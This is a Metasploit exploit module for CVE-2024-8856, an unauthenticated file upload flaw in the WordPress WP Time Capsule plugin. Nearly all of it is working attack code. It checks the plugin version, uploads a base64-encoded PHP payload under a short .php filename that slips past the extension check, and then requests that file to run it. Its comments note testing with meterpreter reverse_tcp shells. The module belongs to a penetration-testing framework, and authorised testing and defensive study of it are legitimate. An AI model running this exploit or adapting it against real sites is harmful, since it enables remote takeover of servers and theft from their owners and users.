##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Payload::Php
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Wordpress

  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress WP Time Capsule Arbitrary File Upload to RCE',
        'Description' => %q{
          This module exploits an arbitrary file upload vulnerability in the WordPress WP Time Capsule plugin
          (versions <= 1.22.21). The vulnerability allows uploading a malicious PHP file to achieve remote
          code execution (RCE).

          The validation logic in the vulnerable function improperly checks for allowed extensions.
          If no valid extension is found, the check can be bypassed by using a filename of specific length
          (e.g., "00.php") matching the length of allowed extensions like ".crypt".
        },
        'Author' => [
          'Valentin Lobstein',  # Metasploit module
          'Rein Daelman'        # Vulnerability discovery
        ],
        'References' => [
          ['CVE', '2024-8856'],
          ['URL', 'https://hacked.be/posts/CVE-2024-8856'],
          ['URL', 'https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-time-capsule/backup-and-staging-by-wp-time-capsule-12221-unauthenticated-arbitrary-file-upload']
        ],
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Targets' => [
          [
            'PHP In-Memory', {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
              # tested with php/meterpreter/reverse_tcp
            }
          ],
          [
            'Unix/Linux Command Shell', {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ],
          [
            'Windows Command Shell', {
              'Platform' => 'win',
              'Arch' => ARCH_CMD
              # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2024-11-15',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )
  end

  def check
    return CheckCode::Unknown('The WordPress site does not appear to be online.') unless wordpress_and_online?

    plugin_check = check_plugin_version_from_readme('wp-time-capsule', '1.22.22')
    case plugin_check.code
    when 'appears'
      return CheckCode::Appears('WP Time Capsule plugin appears to be vulnerable.')
    when 'safe'
      return CheckCode::Safe('WP Time Capsule plugin is patched or not vulnerable.')
    end

    CheckCode::Unknown('No vulnerable plugins were detected.')
  end

  def exploit
    base_path = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-time-capsule', 'wp-tcapsule-bridge', 'upload', 'php')
    upload_path = normalize_uri(base_path, 'index.php')

    # Generate random filename matching constraints (6 characters total, ending in .php)
    filename_prefix = Rex::Text.rand_text_alphanumeric(2)
    payload_name = "#{filename_prefix}.php"

    random_mime_type = Faker::File.mime_type

    phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
    b64_payload = '<?php ' + framework.encoders.create('php/base64').encode(phped_payload)

    register_files_for_cleanup(payload_name)

    vprint_status("Uploading payload: #{payload_name} with MIME type: #{random_mime_type}...")

    mime = Rex::MIME::Message.new
    mime.add_part(b64_payload, random_mime_type, nil, "form-data; name=files; filename=#{payload_name}")

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => upload_path,
      'ctype' => 'multipart/form-data; boundary=' + mime.bound,
      'data' => mime.to_s
    )

    unless res&.code == 200
      fail_with(Failure::UnexpectedReply, 'Non-200 HTTP response received while trying to upload payload')
    end

    vprint_good('Payload uploaded successfully. Parsing response...')

    json_response = res.get_json_document
    url = json_response.dig('files', 0, 'url')

    fail_with(Failure::UnexpectedReply, "Failed to extract URL from response. Response body: #{res.body}") if url.nil?

    vprint_status("Triggering the payload at: #{url}")
    send_request_cgi(
      'method' => 'GET',
      'uri' => URI(url).path
    )
  end
end
